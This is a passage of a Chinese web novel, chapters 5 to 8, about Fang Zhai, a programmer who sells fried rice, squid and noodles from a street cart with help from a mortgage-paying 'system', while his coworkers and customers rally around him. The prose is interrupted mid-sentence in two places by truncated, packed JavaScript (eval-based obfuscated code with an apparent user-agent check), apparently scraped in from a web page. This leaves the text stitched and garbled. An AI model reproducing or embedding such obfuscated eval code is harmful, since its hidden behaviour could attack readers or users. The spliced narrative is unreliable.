格子男接过饭,吃了一口,愣了一下,然后低头看了看碗里的饭,又抬头看了看房寨。 “哥们,你这炒饭可以啊。”他说,“比楼下那家强多了。” 房寨闷声说了句谢谢。 格子男没走,站在旁边一边吃一边看手机,吃了一半忽然抬头问:“你是新来的?以前没见过你。” “嗯,刚摆没多久。” “以后每天都来吗?” “不一定。” “可惜了。”格子男把最后几口饭扒完,“你要是天天来,我天天买。” 【叮!食客1评价已录入。满意度:93分。】 十一点半之后,人流开始多了。 房寨的摊位虽然位置偏,但架不住香味太霸道。那股蛋炒饭的味道顺着风飘出去,整条街都能闻到。 有人专门绕过来看,看了就买,买了就吃,吃了就夸。 “哇这个炒饭好好吃!” “米饭炒得好散,一粒一粒的!” “这个蛋香味好浓啊,你是不是用了土鸡蛋?” “八块钱也太便宜了吧,老板你涨价吧我求你了!” 房寨被夸得有点飘,手里的锅铲翻得更快了。 他一个人同时管两个锅,左边炒饭右边炒饭,左右开弓,动作快得跟开了倍速似的。排队的人越来越多,推车前面已经排了十几个人,弯弯曲曲的,都快排到马路上去了。 有人在群里发了现场照片:“寨哥儿今天在公司楼下!大家快来!” 然后群里的人开始往这边赶。 十一点五十的时候,房寨在排队的人群里看到了一个熟悉的身影。 是他的同事,小刘。 小刘和他一个部门,工位就在他旁边,平时关系还行,偶尔一起吃午饭。 房寨的心一下子提到了嗓子眼。 他把帽檐又往下压了压,头低着,专注地炒饭,假装没看到。 但小刘已经走过来了,站在队尾,一边排队一边玩手机。 房寨脑子里只有一个念头:千万别认出来,千万别认出来,千万别认出来。 他炒饭的时候刻意换了个姿势,背对着小刘的方向,声音也压得更低了。 队伍一点点往前挪,小刘一点点靠近。 房寨的汗都下来了。 不是热的,是吓的。 终于,轮到小刘了。 小刘站在推车前,看着招牌上的字,念了一遍:“寨哥儿蛋炒饭。” 然后他抬头看着房寨。 房寨低着头,把帽檐压得低低的,口罩拉得高高的。 “来一份。”小刘说。 房寨点了点头,转身炒饭。他炒的时候故意把动作放慢了,不像之前那么行云流水,而是刻意加了一些多余的动作,让自己看起来笨手笨脚的,不像一个专业厨师。 炒好了,装碗,递过去。 小刘接过饭,吃了一口。 然后他愣住了。 他又吃了一口,嚼了嚼,皱了皱眉头,又看了看房寨。 房寨的心跳快得跟打鼓似的。 小刘盯着他看了好几秒,忽然笑了。 “房寨?” 房寨整个人僵住了。 “你化成灰我都认得你。”小刘笑着说,“咱俩工位挨着,你每天中午吃蛋炒饭,那个味道我闻了半年了。你这炒饭的味道跟你平时吃的一模一样,我一尝就尝出来了。” 房寨把口罩拉下来,苦笑了一下:“你嘴也太灵了。” “不是我的嘴灵,是你的饭太有辨识度了。”小刘凑过来压低声音,“你什么情况?怎么跑这儿摆摊来了?你不怕被王经理看到?” “怕啊。”房寨小声说,“所以你能不能帮我保密?” 小刘想了想,伸出一根手指:“一顿饭。” “两顿。” “成交。” 小刘端着饭走了,走了几步又回头,冲房寨竖了个大拇指。 房寨松了口气,把口罩拉回去,继续炒饭。 十二点半的时候,排队的人更多了。 房寨忙得满头大汗,后背湿透了,胳膊酸得都快抬不起来了。但看到那些端着饭盒蹲在路边吃得一脸满足的人,他又觉得挺值的。 有个穿高跟鞋的姑娘,端着炒饭蹲在马路牙子上吃,吃得太急呛到了,咳了好几下,但还是舍不得停下来,一边咳一边往嘴里扒。 有个中年大叔,西装革履的,看着挺讲究的一个人,蹲在垃圾桶旁边吃,吃得满嘴是油,吃完还用手指头把碗底的米粒一颗颗捡起来塞进嘴里。 有个年轻妈妈带着孩子,孩子本来在哭,吃了一口炒饭之后不哭了,张着嘴等着下一口。 房寨看着这些画面,嘴角不自觉地往上翘。 就在这时,他听到了一个让他头皮发麻的声音。 “那边那个摊位,谁让你在这里摆摊的?” 房寨抬头一看,一个穿制服的城管正朝他走过来。 他脑子里嗡的一声,整个人瞬间慌了。 以前他只在新闻里看过城管,从没想过自己有一天会被城管抓。 “我……我就是临时摆一下。”房寨手忙脚乱地开始收东 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城管看了他们一眼,没说话,又看了看房寨那辆破旧的推车和那些洗得干干净净的碗筷,沉默了几秒。 “这样吧,”城管说,“你今天把这些已经排队的客人服务完,然后就收走,行不行?” 房寨抬头看了城管一眼,有点不敢相信。 “谢谢,谢谢您。”他赶紧说。 城管摆了摆手,走了。走了几步又回头补了一句:“下次别在这儿摆了,去正规的市场或者夜市,那边有专门给流动摊贩划的区域。” 房寨连连点头。 城管走远了,排队的人群发出一阵小小的欢呼。 “这个城管人还挺好的。” “吓死我了,我以为今天吃不到了。” “老板你快炒,我快饿死了。” 房寨深吸一口气,重新点火。 他的手还在抖,但锅铲握在手里之后,就稳了。 他一份一份地炒,把排队的十几个人全部服务完。 最后一份炒饭递出去的时候,保温桶里的米饭刚好见底,一粒不剩。 房寨擦了擦额头的汗,开始收拾东西。锅碗瓢盆一样样收好,炉子关火,煤气罐拧紧,招牌取下来折叠好。 推车又变成了那个破旧的样子,轮子歪歪扭扭的,上面还有锈迹。 他推着车往回走的时候,手机震了一下。 是小刘发来的消息:“兄弟,你今天这事要不要跟王经理说?我感觉他迟早会知道的。” 房寨回了一句:“先别说,让我想想怎么办。” 他把手机揣回兜里,推着车慢慢地走。 今天挣的钱比之前都多,卖了二十多份,除去成本赚了将近一百块。房贷也又减了五千。但他心里不踏实。 没有执照,没有证件,没有固定的摊位,今天能碰到一个好说话的城管,明天呢?后天呢? 他不能一直这么躲着。 【主线任务完成!服务食客22人,平均满意度91.8分。】 【发放奖励:房贷减免券×1,厨艺经验+200,推车升级图纸×1。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金:1,504,331.68元。】 【推车升级图纸已发放。请查看。】 房寨点开图纸看了看,是一份改装方案,把现在的破推车升级成一个带遮阳棚、带储物柜、带移动电源的多功能餐车。图纸上画得很详细,每一个零件都有尺寸和材质说明。 他大概估算了一下改装的成本,最少也要一两千块钱。 他现在全身家当加起来不到一百块。 房寨苦笑了一下,把图纸收好。 先攒钱吧。 回到出租屋的时候,天已经快黑了。 房寨把推车推进屋里,洗了个澡,躺在床上翻手机。 群里已经炸了,全在讨论今天城管的事。 “那个城管真的挺好的,还让他把排队的服务完。” “但是这样下去不是办法啊,总得有个固定的地方吧?” “寨哥儿你考虑过去夜市吗?我认识一个夜市的管理方,可以帮你问问摊位的事。” 房寨看着这条消息,心里一动。 夜市? 他想了想,回复了一句:“可以帮我问问吗?谢谢。” 发完这条,他又去看了一眼系统面板。 今天的任务完成了,新的随机食谱还没发。不知道明天会是什么。 他闭上眼睛,脑子里乱七八糟的。 城管的事,同事的事,推车的事,钱的事。 一大堆事堆在一起,像他出租屋里那堆没来得及收拾的锅碗瓢盆。 但奇怪的是,他没有之前那种喘不过气的感觉了。 可能是因为今天晚上,他在群里看到了这样一条消息。 是一个他记不住名字的群友发的,只有一句话: “寨哥儿,你今天受委屈了。但不管你在哪里摆摊,我都会去找你的。” 房寨盯着这条消息看了好几秒,然后关掉手机,翻了个身。 窗外的风还是那样,穿过城中村的电线,发出细细的声音。 但他觉得,今天晚上的风,好像比昨天又暖和了一点。 6. 第 6 章 房寨是被一阵香味香醒的。 不对,这屋里哪来的香味? 他睁开眼,发现香味是从脑子里传来的。不是真的有人在做菜,是系统面板上飘着一行字,那行字自带气味。 【今日随机食谱已发放:铁板鱿鱼。】 【食谱特点:香气穿透力极强,可覆盖半径50米范围。】 【系统提示:此菜品适合在人流量大的区域销售,建议搭配吆喝使用。】 房寨盯着“铁板鱿鱼”四个字,咽了口唾沫。 他在夜市吃过这玩意儿。铁板烧得滋滋响,鱿鱼在上面翻卷,刷上酱料撒上孜然,那个味道隔三条街都能闻到。 但他从来没想过自己会做这个。 他闭上眼,调取了食谱记忆。和之前一样,完整的制作流程和技巧直接灌进了脑子里。选鱿鱼要看眼睛亮不亮,处理鱿鱼要去掉表面的膜,酱料要用蒜蓉辣酱加海鲜酱加蚝油按比例调配,铁板的温度要控制在两百二十度左右,太高了会老,太低了不出香味。 最难的不是做,是翻鱿鱼的时候那个手法。铁板上的鱿鱼须受热会卷起来,要用铲子压着,不能让它卷得太厉害,不然受热不均匀。 房寨在脑子里演练了一遍,觉得问题不大。 今天系统没有发布主线任务,只有一条提示:【自由营业日。宿主可自行决定是否出摊、何时出摊、何地出摊。】 自由日?意思是想摆就摆,不摆也行? 房寨想了想,决定出摊。不是因为闲不住,是因为昨天那个群友说帮他问夜市摊位的事,今天可能有消息,他得去看看。 他先给那个群友发了条消息,对方很快回复了:“我问了,城南那个夜市还有几个空位,租金一天五十,水电另算。你要是有兴趣今天下午可以过来看看,我带你找管理员。” 一天五十。 房寨算了算,他一份蛋炒饭赚三块钱左右,要卖十七份才能把租金挣回来。加上食材成本,一天得卖二十五份以上才能有赚头。 有点压力,但不是不行。 他回复:“好,我今天下午过去看看。” 然后出门去买鱿鱼。 菜市场的水产摊位在最后面,空气里弥漫着一股腥味。房寨走到一个摊位前,水箱里养着大大小小的鱿鱼,活的,触须在水里摆动。 “老板,鱿鱼怎么卖?” “大的十五一斤,小的十二。” 房寨看了看,大的肉质厚,小的嫩。做铁板鱿鱼,小的更合适,容易熟,口感脆。 “来三斤小的。” 花了三十六块钱,余额又回到了解放前。 他又买了蒜蓉辣酱、海鲜酱、蚝油、孜然粉、辣椒粉,加上家里已有的盐和糖,凑齐了酱料的所有配料。又花了二十多。 回到家,他开始调酱料。 蒜蓉辣酱三勺,海鲜酱一勺,蚝油一勺,白糖半勺,加点水搅匀。尝了一口,太咸了,又加了半勺糖和一点醋中和。再尝,好多了。有海鲜酱的鲜,有辣酱的辣,有糖的甜,后味还有一点酸,刚好解腻。 鱿鱼处理是最麻烦的。三斤鱿鱼,一只一只地清理。先把头身分离,去掉内脏和软骨,撕掉表面的膜,把须上的吸盘撸掉。整个过程又腥又黏,手上全是滑溜溜的黏液,洗了三遍手都还有味道。 处理完之后,他把鱿鱼切成小块,须切成段,用竹签串起来。一串大概四五块肉加两三根须,穿了三斤,串了将近二十串。 串好的鱿鱼放在盆里,用料酒和姜片腌着去腥。 一切准备就绪,下午两点多,房寨推着车出门了。 城南夜市在一条步行街上,白天没什么人,到了傍晚才开始热闹。房寨到的时候才三点,夜市还没开,但已经有人开始在搭棚子了。 他在入口处等了一会儿,一个穿着花衬衫的胖男人朝他走过来,后面跟着昨天那个群友。 “你就是房寨?”胖男人打量了他一眼,“我是这夜市的管理员,姓赵,你叫我赵哥就行。” “赵哥好。”房寨赶紧打招呼。 赵哥带着他在夜市里走了一圈,指给他看空着的摊位。位置不算好,在夜市的尾巴上,靠近厕所,人流少一些。但房寨没什么可挑的,有个地方就不错了。 “这个位置一天五十,水电从旁边的柱子接,电费另算,一度电一块五。你要是想签,先交三天的押金。” 三天押金一百五,加上今天的租金五十,一共两百。 房寨摸了摸口袋,掏出一把零钱,数了数,四十七块三毛。 赵哥看了一眼,表情有点微妙。 那个群友在旁边赶紧说:“赵哥,他是刚起步,能不能先交一天的?押金宽限几天?” 赵哥想了想,看着房寨那辆破推车,叹了口气:“行吧,今天你先试试。要是生意好,明天把押金补上。” “谢谢赵哥。”房寨连忙道谢。 他把推车推到摊位的位置上,开始收拾。这个摊位虽然位置偏,但有个好处——有固定的电源接口。他不用再自己带移动电源了,可以直接用电铁板。 房寨把推车上的东西一样样摆好,铁板接上电预热,酱料放在顺手的位置,串好的鱿鱼用保鲜膜盖着放在一边。他把新写的招牌挂出来——“寨哥儿铁板鱿鱼”,下面一行小字:五块钱一串。 四点刚过,夜市就开始上人了。 不是正式营业的时间,但已经有游客陆陆续续地进来了。房寨站在摊位后面,把铁板的温度调到两百二十度,倒了一点油,油热了之后,放上四串鱿鱼。 刺啦—— 鱿鱼接触到滚烫的铁板,瞬间发出剧烈的声响。水汽蒸腾而起,带着鱿鱼特有的鲜味和铁板的焦香。房寨用铲子压住鱿鱼须,防止它们卷得太厉害。翻面,再压,刷酱,撒孜然和辣椒粉。 整个过程不到两分钟,鱿鱼从半透明的白色变成了焦黄色,表面裹着一层红亮的酱汁,边角微微焦脆,油光发亮。 香味炸开了。 不是那种温和的、慢慢扩散的香,是那种霸道的、不讲道理的、直接往人鼻子里钻的香。 旁边摊位的老板都忍不住看了过来。 第一个客人是个小伙子,穿着运动背心,胳膊上还有纹身,看着像个混社会的。他走到摊位前,闻了闻,眼睛亮了。 “来两串。” 房寨把刚出锅的两串递给他,小伙子接过去咬了一口,嚼了两下,表情变了。 “卧槽。”他说,“你这鱿鱼怎么做的?我在夜市吃了十几年鱿鱼,没吃过这么嫩的。” 他又咬了一口,一边嚼一边含糊地说:“再来五串。” 【叮!食客评价已录入。满意度:96分。】 房寨笑了笑,又放上七串。铁板不够大,一次最多做七八串,再多就挤不下了。 鱿鱼在铁板上滋滋作响,香味越飘越远。开始有人专门绕过来看,看了就走不动了,排队等着。 “这鱿鱼闻着好香啊!” “五块钱一串?这么便宜?旁边那家卖八块呢。” “老板给我来三串!” “我要五串!” 房寨忙得不可开交。铁板上一排鱿鱼,这边熟了那边又放上,刷酱撒料翻面,动作越来越熟练。他发现自己已经不需要刻意去想步骤了,手自己就会动。 这就是厨神技能包的好处,做多了就变成肌肉记忆了。 排队的人越来越多,短短十几分钟,摊位前面已经排了十几个人。夜市的过道本来就不宽,他这一排,直接把路堵了一半。 旁边卖烤面筋的大叔看不下去了,扯着嗓子喊:“你们能不能别都堵在这儿?让让路行不行?” 但没人理他。 房寨有点不好意思,但也没办法。他一个人就两只手,铁板就那么大,速度已经到极限了。 就在这时候,系统面板忽然弹出一条消息。 【检测到营业高峰期,宿主当前处理速度不足以应对客流。】 【建议:使用推车升级图纸中的“双铁板配置”。】 【升级所需材料:铁板×1,温控器×1,电线若干。预估成本:400元。】 又是钱。 房寨看了一眼余额,今天还没开始算账,但毛收入大概有一百多了。扣掉食材成本和租金,净赚可能不到五十。 四百块,他得攒好几天。 他正想着,一个声音从队伍后面传过来。 “让一让,让一让,我是来送钱的。” 房寨抬头一看,是小刘。 小刘挤到摊位前,手里拿着一个信封,递给他:“这是咱们部门几个人凑的,你不是要升级推车吗?先拿着用。” 房寨愣住了,没接。 “什么意思?” “没什么意思,就是借你的,你赚了钱再还。”小刘把信封塞到他手里,“一千二,不多,但够你换个好点的推车了。” 房寨打开信封看了一眼,里面是一沓钞票,有红的有蓝的,新旧不一。 他抬起头看着小刘,鼻子有点酸。 “你们……” “别墨迹了,赶紧炒鱿鱼,我排了半天队了,给我来五串。”小刘拍了拍他的肩膀,笑了,“你小子现在是咱部门的希望,全部门就你最有出息。” 房寨知道小刘在说反话。一个摆摊的,哪有什么出息?但他还是觉得心里热乎乎的,像是有人在冬天给他披了件衣服。 他把信封收好,擦了擦手,开始给小刘烤鱿鱼。 小刘接过鱿鱼,咬了一口,嚼了嚼,表情和之前那个纹身小伙子一模一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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房寨在夜市里转了一圈,找到了一家卖厨具的摊位,买了一块新的铁板和一个温控器,又买了一些电线。花了两百多,比系统预估的便宜一些。 回到家,他打开推车升级图纸,开始按照上面的说明改装。 其实也不难,就是在推车上加一个支架,把第二块铁板并排放上去,两个温控器分别控制温度,电线从同一个插座接出来。房寨虽然不是理工科出身,但好歹是个程序员,动手能力还是有的。 折腾了一个多小时,改装完成。 推车还是那个破推车,轮子还是咯吱咯吱响,但台面上多了两块铁板,看起来专业了不少。 房寨站在推车前,叉着腰看了半天,挺满意的。 【推车升级完成。当前等级:初级餐车(可同时制作2份菜品)。】 【下一级升级所需:遮阳棚+储物柜+移动电源。预估成本:2500元。】 两千五。 房寨看了一眼余额,一千出头。 还得再攒攒。 他洗了个澡,躺在床上翻手机。 群里今天特别热闹,因为有人在夜市拍到了他烤鱿鱼的视频,发到了群里。 “寨哥儿今天在城南夜市!铁板鱿鱼!巨好吃!大家快来!” 视频里,房寨站在铁板后面,被油烟和热气包围着,脸上全是汗,但动作特别利落。鱿鱼在铁板上滋滋作响,酱料刷上去的时候颜色特别好看。 视频下面一堆评论。 “天哪这个香味隔着屏幕都闻到了。” “城南夜市是吧?我现在打车过去!” “已经卖完了?我才看到啊!” “寨哥儿你明天还去夜市吗?” 房寨回复了一句:“明天还去,位置在夜市靠厕所那头,别走错了。” 发完这条,他又看了一眼那个视频。 视频里的自己看起来很忙,很累,满头大汗,衣服上全是油点子。但眼睛是亮的,嘴角是往上翘的。 和三个月前那个躺在出租屋里盯着灯泡发呆的人,完全不一样了。 他关掉手机,闭上眼睛。 今天很累,胳膊酸得抬不起来,脚底板疼得跟踩了钉子似的。但他心里特别踏实,特别安稳。 那种感觉就像——他终于找到了一个属于自己的位置。 不是在写字楼的格子间里,不是在代码的世界里,而是在夜市最偏远的角落里,在一个挨着厕所的小摊位上,在铁板的滋滋声和鱿鱼的香味里。 房寨翻了个身,把被子拉到下巴。 窗外,夜风穿过城中村的电线,声音细细的,像有人在远处吹口哨。 他忽然想起今天那个大爷说的话。 “小伙子,你这鱿鱼做得真好吃,我明天还来。” 明天还来。 这四个字,比什么夸奖都好听。 7. 第 7 章 房寨在夜市摆到第五天的时候,发现自己有了第一批熟客。 不是那种偶尔路过吃一次的好吃嘴,是那种每天都来、来了也不用说话、往摊位前一站他就知道要什么的熟客。 第一个熟客是那个纹身小伙子。 房寨后来知道了他叫阿坤,在附近的健身房当教练,每天练完就来他这儿报道。阿坤的口味很固定,鱿鱼要烤得焦一点,多辣,不要孜然。第一次这么说的时候房寨还愣了一下,铁板鱿鱼不要孜然,那还叫铁板鱿鱼吗?但阿坤说他就好这口,房寨也就随他了。 “今天练什么了?”房寨一边烤一边随口问。 “背。”阿坤活动了一下肩膀,“做了几组引体向上,现在胳膊都是软的。” “那你多吃两串,补补。” 阿坤笑了,露出一口白牙:“你这鱿鱼除了长肉,补不了别的。” 旁边排队的人跟着笑。 第二个熟客是个老太太,就住在夜市后面的小区里。老太太第一次来的时候犹豫了半天,问房寨这鱿鱼咬不咬得动。房寨给她烤了几串嫩的,火候小一点,时间短一点,鱿鱼刚熟就出锅,软得很。老太太吃了一串,眼睛亮了,又要了三串。从那以后每天晚上都来,一次不多买,就三串,吃完慢慢走回家。 老太太话多,每次来都要跟房寨聊几句。今天说菜市场的菜涨价了,明天说楼下那只野猫又生了小猫,后天说儿子打电话来说要带女朋友回家过年。 房寨听着,偶尔应两句。他发现自己开始习惯这些碎碎念了。以前他嫌老人家啰嗦,现在他觉得,有人啰嗦是好事。起码证明还有人愿意跟你说话。 第三个熟客是个外卖骑手。 房寨认出他的时候愣了一下,就是那天在医院门口吃阳春面吃哭了的小陈。小陈那天加了他的微信,后来在群里也一直挺活跃的,但房寨没想到他会找到夜市来。 “你不是跑外卖的吗?怎么跑到城南来了?”房寨问。 “我专门调的区域。”小陈说这话的时候语气很随意,像是在说一件很小的事,“原来跑城北,太远了,过不来。现在跑城南,每天晚上收工前来你这儿吃两串,正好。” 房寨张了张嘴,想说点什么,但嗓子忽然有点紧。 他把鱿鱼烤好,多刷了一层酱,递过去。 小陈接过去咬了一口,嚼了嚼,点了点头:“还是这个味儿。” 然后他蹲在路边,一串一串地吃,吃得很慢,像是在享受什么很重要的东西。 房寨看着他,忽然想起那天晚上在医院门口,小陈一边哭一边说“今天跑了四十多单”的样子。 才过了没几天,但好像已经是很久以前的事了。 熟客多了,生意也稳了。 每天晚上六点到九点,房寨的摊位前就没断过人。两块铁板同时开着,他一个人忙得脚不沾地,连喝口水的时间都没有。 但问题也跟着来了。 位置偏,这是硬伤。虽然熟客都知道他靠在厕所旁边,但新客人不会专门绕到厕所这边来。很多第一次来夜市的人,逛到一半就吃饱了,根本走不到他这儿。 房寨想过换位置,但赵哥说了,好位置要加钱,一天一百五。他现在一天净赚一百出头,换了好位置反而亏了。 先这么干着吧。 第七天的时候,系统突然发了个任务。 【支线任务:收集食客故事。】 【任务描述:每道美食背后都有一个故事。请收集三位食客的真实故事,并完成一道“为他们而做”的菜品。】 【任务奖励:房贷减免券×1,厨艺经验+150,特殊调料×1。】 房寨看着这个任务,挠了挠头。 收集故事?他一个卖鱿鱼的,总不能跟客人说“你好,请把你的故事讲给我听”吧? 但他想要那个房贷减免券。 他想来想去,决定换个方式——不主动问,就听着。反正每天都有人在他摊位前聊天,有的跟同伴聊,有的跟他聊,听多了自然就有故事了。 第一个故事来得很快。 是个年轻姑娘,穿着职业装,一看就是刚下班直接过来的。她一个人来的,买了三串鱿鱼,站在摊位旁边吃。 房寨本来没太在意,但姑娘吃了一半忽然开口了。 “老板,你天天在这儿摆摊吗?” “差不多吧。” “那挺好的,”姑娘说,“有个固定的事情做,比什么都强。” 房寨觉得她这话说得有点奇怪,就多看了她一眼。姑娘的眼睛红红的,像是刚哭过,但脸上化了妆,看不太出来。 “你今天还好吧?”房寨试探着问了一句。 姑娘愣了一下,然后笑了,笑容有点勉强:“还行,就是被裁了。” “啊?” “公司裁员,今天通知的,干到月底。”姑娘说这话的时候语气很平静,但手里的鱿鱼串被她捏得有点变形,“干了三年了,说裁就裁。” 房寨不知道该怎么接话。他太懂这种感觉了,那种忽然之间被从轨道上推出去的感觉,不知道自己该往哪走,也不知道自己能干什么。 “没事,”姑娘自己给自己打气,“正好休息一段时间,我一直想学烘焙来着。” 她吃完了最后一串鱿鱼,把签子扔进垃圾桶,冲房寨笑了笑:“老板,你这鱿鱼挺好吃的,以后我还来。” 她走了之后,房寨在铁板上多放了几串。 不是给客人的,是给那个姑娘的。他想,如果她明天还来,他就请她吃。 第二个故事是阿坤讲的。 阿坤那天练得狠了,坐在摊位旁边的小板凳上,一边吃一边揉胳膊。 “寨哥,你说人是不是越活越没劲?”阿坤忽然说。 房寨正在翻鱿鱼,头都没抬:“怎么了?” “我今天跟我妈打电话,她又催我找对象。我说我现在一个月挣七八千,自己都养不活,拿什么找对象?她说隔壁老王家儿子跟我一样大,孩子都两岁了。” 阿坤咬了一口鱿鱼,嚼得很大声:“我就想不通了,为什么非得跟别人比?我不结婚怎么了?我不生孩子怎么了?我过得挺好的啊。” 房寨把烤好的鱿鱼装进纸袋,递给旁边的客人,然后转过身看着阿坤。 “你觉得好就行。” “我也觉得。”阿坤说,“但每次打完电话,我就觉得好像我错了似的。” 他没再往下说,吃完鱿鱼站起来走了。走的时候冲房寨摆了摆手,跟往常一样。 房寨看着他的背影,觉得阿坤这个人其实不像看起来那么大大咧咧。他也有他的烦恼,只是平时不说而已。 第三个故事最让房寨意外。 那天快收摊了,快九点,夜市的人少了很多。房寨正在收拾东西,一个中年男人走过来了。 男人穿着深蓝色的工作服,上面有油渍,像是刚下班。他走到摊位前,看了看招牌,又看了看铁板上剩下的最后几串鱿鱼。 “还有吗?” “有,要几串?” “两串。” 房寨给他烤了,男人接过去,站在路灯下吃。他吃得很快,像是在赶时间。 “老板,”男人吃到一半忽然开口,“你这儿天天都开吗?” “差不多。” “那我以后天天来。”男人说,“我儿子喜欢吃鱿鱼,以前都是我给他买。后来他跟他妈走了,我就再也没买过。” 他说这话的时候语气很平淡,像是在说一件跟自己无关的事。 “走了?” “离婚了,儿子判给她了。”男人把最后一串鱿鱼吃完,把签子折成两段,扔进垃圾桶,“我想他的时候就来吃两串鱿鱼。” 房寨看着这个男人,忽然不知道该说什么。 他想起了自己的父亲。他爸在他很小的时候就出去打工了,一年回来一次,每次回来都会给他带零食。有一次带了一包鱿鱼丝,他高兴了好几天。 后来他爸就不回来了。 不是不想回来,是回不来了。 房寨没跟任何人说过这事。连他最好的朋友都不知道。他觉得这种事说出来没什么意义,又不能改变什么。 但此刻,站在夜市的角落里,看着一个陌生男人因为想念儿子而吃鱿鱼,他心里忽然涌上一股很奇怪的感觉。 像是被人戳了一下,不是疼,是酸。 男人走了之后,房寨没有马上收摊。 他站在铁板前面,发了好一会儿呆。 系统面板亮了。 【食客故事收集进度:3/3。】 【任务完成。请选择一位食客,为他/她制作一道“专属菜品”。】 房寨想了想,选了那个被裁员的姑娘。 不是因为她最惨,是因为他觉得她最需要。 做什么呢? 他翻了翻系统里的食谱,已经有蛋炒饭、阳春面、铁板鱿鱼、烤红薯。烤红薯还没做过,大夏天的也不合适。蛋炒饭太普通,阳春面太素,铁板鱿鱼太随便。 他需要一个新东西。 【系统提示:是否使用“特殊调料”兑换随机食谱?】 房寨点了是。 面板上弹出一行字:【特殊调料已使用。获得食谱:葱油拌面。】 葱油拌面。 房寨脑子里立刻浮现出完整的画面。面条煮好过凉水,葱油熬到葱段焦黑发亮,酱油和糖在热油里化开,浇在面条上拌匀,每一根面条都裹上油亮的酱色,入口是葱香和焦香和甜咸交织的味道。 比阳春面更浓郁,比蛋炒饭更治愈。 他决定做这个。 第二天晚上,房寨提前备好了料。面条买了新鲜的碱水面,葱买了一大把,猪油、酱油、糖都准备好了。 那个姑娘果然又来了。 她还是穿着职业装,但今天的妆淡了一些,眼睛下面的黑眼圈遮不住了。她走到摊位前,看了看招牌上新写的一行字。 “葱油拌面?你今天做新的了?” “嗯,今天试试。”房寨说,“请你吃,不要钱。” 姑娘愣了一下:“为什么请我?” “因为你是老顾客。”房寨随口编了个理由。 他没说是因为她的故事,也没说是因为他觉得她需要一碗面。 他不想让她觉得自己被同情了。 锅里的水烧开了,房寨把面条下进去。煮面的同时,旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从一百五十二万到现在,不到半个月,还了三万多。按这个速度,他是不是真的有可能提前还完? 他不知道。 但至少现在,他觉得自己在往前走了。 收摊的时候,阿坤又来了。他今天没练,穿着拖鞋大裤衩,像是从家里溜达过来的。 “寨哥,给我来两串。” “今天没鱿鱼了,卖完了。” “那拌面还有吗?” “也没了。” 阿坤看了一眼空荡荡的铁板和干干净净的锅,叹了口气:“那我明天再来吧。” 他转身要走,又停下来了。 “寨哥,我跟你说个事。”阿坤的表情忽然变得有点认真,“我今天去相亲了。” 房寨抬起头看着他:“怎么样?” “不怎么样。”阿坤挠了挠头,“那姑娘嫌我穷,说我一个健身教练没什么前途。” “你难过了?” “没有。”阿坤说,“我就是觉得,她说得对。” 他笑了笑,笑容里有点苦涩。 “我确实没什么前途。” 房寨看着他,想起自己以前也经常说这种话。什么前途不前途的,一个月薪六千五的程序员,能有什么前途?不也就是写写代码混口饭吃。 “你觉得你现在做的事有意义吗?”房寨问。 阿坤愣了一下:“什么意思?” “你喜欢当健身教练吗?” “喜欢啊。”阿坤说,“看着那些会员一天天变瘦变壮,我觉得挺有成就感的。” “那不就行了。”房寨把铁板上的油擦干净,“做自己喜欢的事,怎么就没前途了?” 阿坤看着房寨,好半天没说话。 然后他笑了。 “寨哥,你这个人说话挺有道理的。” “有道理有什么用,我又没钱。”房寨也笑了。 两个人站在夜市的角落里,对着笑了好一会儿。 夜市的人越来越少了,旁边的摊位开始收东西。烤面筋的大叔在拆棚子,卖臭豆腐的大姐在数钱,卖炒粉的夫妻在吵架。 房寨把推车收拾好,跟阿坤说了声再见,推着车往家走。 咯吱咯吱的声音在夜晚的街道上响着,轮子还是那个破轮子,声音还是那个声音。但房寨已经不觉得烦了。 他甚至觉得这声音挺好听的。 像是一种节奏,一种属于他自己的节奏。 不快不慢,不急不躁,就这么咯吱咯吱地往前走。 路过天桥的时候,那个唱歌的人又来了。今天唱的是一首他没听过的歌,旋律很慢,歌词听不太清。 房寨停下来听了一会儿,往吉他盒里放了五块钱。 唱歌的人冲他点了点头,继续唱。 房寨推着车下天桥的时候,忽然想起一件事。 他今天忘了给那群流浪猫喂吃的了。 他加快脚步,推车咯吱咯吱地响得更快了。 8. 第 8 章 房寨第一次听到“白月光”这个叫法,是在群里的聊天记录里。 那天他收摊回到家,洗完澡躺在床上翻手机,看到有人在群里发了一段话: “你们觉不觉得寨哥儿就像那种小说里的白月光?就是那种你永远不知道他什么时候出现,但每次出现都能治愈你的那种人。” 下面一群人跟着附和。 “对对对!我上次失恋的时候吃了他做的炒饭,哭了一场就好了。” “我也是!我加班到崩溃那天晚上吃到他的阳春面,感觉整个人被救赎了。” “他那个铁板鱿鱼也是,我每次心情不好就去吃两串,吃完就好了。” 房寨看着这些消息,脸有点红。 白月光? 他低头看了看自己。穿着一件领口松垮垮的旧T恤,裤腿上还有白天蹭的油点子,头发乱得跟鸡窝似的。 这哪里像白月光了? 分明就是城中村里一个摆摊的。 但群里的讨论没停,反而越聊越热。 有人开始整理房寨的出摊记录,做了一个表格,上面标注了每一次出摊的时间、地点、做的菜品,以及群友们的反馈。 表格的名字叫《寨哥儿白月光图鉴》。 房寨点开看了看,发现这些人记得比他自己都清楚。 第一次出摊,公司楼下,蛋炒饭,食客评价“吃哭了”。 第二次出摊,医院门口,阳春面,食客评价“和我爸爸做的味道一模一样”。 第三次出摊,老居民区,蛋炒饭+阳春面,食客评价“这是我吃过最温暖的饭”。 第四次出摊,公司楼下,蛋炒饭,被城管赶了。 第五次出摊,城南夜市,铁板鱿鱼,从此固定在夜市。 每一条记录下面都有人留言,有人补充细节,有人分享自己的感受。 房寨一页一页地翻着,翻到最后,看到有人写了一篇长文。 长文的标题叫《我为什么叫房寨白月光》。 